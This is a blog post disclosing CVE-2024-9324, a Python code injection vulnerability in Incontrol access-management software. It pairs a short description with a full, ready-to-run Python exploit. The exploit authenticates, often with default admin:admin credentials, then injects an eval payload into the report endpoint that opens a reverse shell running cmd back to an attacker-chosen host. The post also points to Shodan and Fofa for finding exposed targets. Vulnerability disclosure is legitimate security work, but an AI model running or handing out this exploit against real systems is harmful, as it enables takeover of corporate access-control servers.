CVE-2024-9324 Exploitation Chain: Web User to NT AUTHORITY SYSTEM

CVE-2024-9324 Exploitation Chain: Web User to NT AUTHORITY SYSTEM

in

Hello everyone! Today I will present in detail the exploitation of a Code Injection vulnerability that I recently found in the Incontrol software, version 2.21.57.

What is Incontrol?

Incontrol is a software mainly used for access management in companies and is more present in internal networks, although it is possible to find exposed hosts on the internet through tools such as Shodan and Fofa.

Proof of Concept

To exploit this vulnerability, it is necessary to have a user with permission to generate reports. In addition, the software uses, by default, administrator credentials such as “admin:admin”, which makes it easier to identify hosts configured with these default credentials.

With a successful login to the application, when navigating through the menu and accessing the “Event Reports” option, it is possible to capture the vulnerable request when trying to generate a PDF report.

Using a payload that executes Python code to perform a 10-second time sleep, we observed that the application responded as expected, returning the response in approximately 11 seconds.

eval(compile('for x in range(1):\n import time\n time.sleep(10)','a','single'))

Exploit

To make the exploit easier, I developed an exploit in Python that automates the entire process and allows you to obtain a reverse shell.

#!/usr/bin/python3

import argparse
import requests
import warnings
warnings.filterwarnings("ignore")


proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

def login(target, user, password):
    burp0_url = target + ":4441/v1/auth/"
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/json", "Origin": f"{target}:4445", "Referer": f"{target}:4445/", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-site", "Priority": "u=0", "Te": "trailers", "Connection": "keep-alive"}
    burp0_json={"password": f"{user}", "username": f"{password}"}
    response = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
    # Verifica se a resposta foi bem-sucedida
    if response.status_code == 200:
        # Obtém o token do JSON da resposta
        token = response.json().get("token")
        if token:
            return token
        else:
            print("[X] - Token Extraction Error!")
            return None
    else:
        print(f"[X] - Login Failed: {response.status_code}")
        return None
        
def exploit(target, token, lhost, lport):
    burp0_url = target + f":4441/v1/evento/relatorio?page=1&limit=10000&fields=eval(compile('for%20x%20in%20range(1)%3a%5cn%20import%20os%2csocket%2csubprocess%2cthreading%5cn%20def%20s2p(s%2c%20p)%3a%5cn%20%20%20%20while%20True%3a%5cn%20%20%20%20%20%20%20%20data%20%3d%20s.recv(1024)%5cn%20%20%20%20%20%20%20%20if%20len(data)%20%3e%200%3a%5cn%20%20%20%20%20%20%20%20%20%20%20%20p.stdin.write(data)%5cn%20%20%20%20%20%20%20%20%20%20%20%20p.stdin.flush()%5cn%20def%20p2s(s%2c%20p)%3a%5cn%20%20%20%20while%20True%3a%5cn%20%20%20%20%20%20%20%20s.send(p.stdout.read(1))%5cn%20s%20%3d%20socket.socket(socket.AF_INET%2c%20socket.SOCK_STREAM)%5cn%20s.connect((%22{lhost}%22%2c{lport}))%5cn%20p%20%3d%20subprocess.Popen(%5b%22cmd%22%5d%2c%20stdout%3dsubprocess.PIPE%2c%20stderr%3dsubprocess.STDOUT%2c%20stdin%3dsubprocess.PIPE)%5cn%20s2p_thread%20%3d%20threading.Thread(target%3ds2p%2c%20args%3d%5bs%2c%20p%5d)%5cn%20s2p_thread.daemon%20%3d%20True%5cn%20s2p_thread.start()%5cn%20p2s_thread%20%3d%20threading.Thread(target%3dp2s%2c%20args%3d%5bs%2c%20p%5d)%5cn%20p2s_thread.daemon%20%3d%20True%5cn%20p2s_thread.start()%5cn%20try%3a%5cn%20%20%20%20p.wait()%5cn%20except%20KeyboardInterrupt%3a%5cn%20%20%20%20s.close()','a','single'))"
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate, br", "Authorization": f"JWT {token}", "Origin": "https://localhost:4445", "Referer": "https://localhost:4445/", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-site", "Te": "trailers", "Connection": "keep-alive"}
    response = requests.get(burp0_url, headers=burp0_headers, verify=False)
    

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-lh', '--lhost', help='Listening IP address for reverse shell', required=True)
    parser.add_argument('-lp', '--lport', help='Listening port for reverse shell', required=True)
    parser.add_argument('-u', '--username', help='Username to target', required=True)
    parser.add_argument('-p', '--password', help='Password value to set', required=True)
    args = parser.parse_args()
    print("[!] Running the exploit for CVE-2024-9324 [!]")
    print("[!] You need to run nc -nlvp manually [!]")
    print("[!] Usage example: python3 exploit.py --target https://TARGET -lh LHOST -lp 8080 -u admin -p admin [!]")

    print("[+] Logging in... [+]")
    token = login(args.target, args.username, args.password)
    
    print("[+] Sending shell! [+]")

    exploit(args.target, token, args.lhost, args.lport)

if __name__ == '__main__':
    main()

That’s it for today guys, I hope you enjoyed this Python Code Injection vulnerability and don’t forget, keep hacking.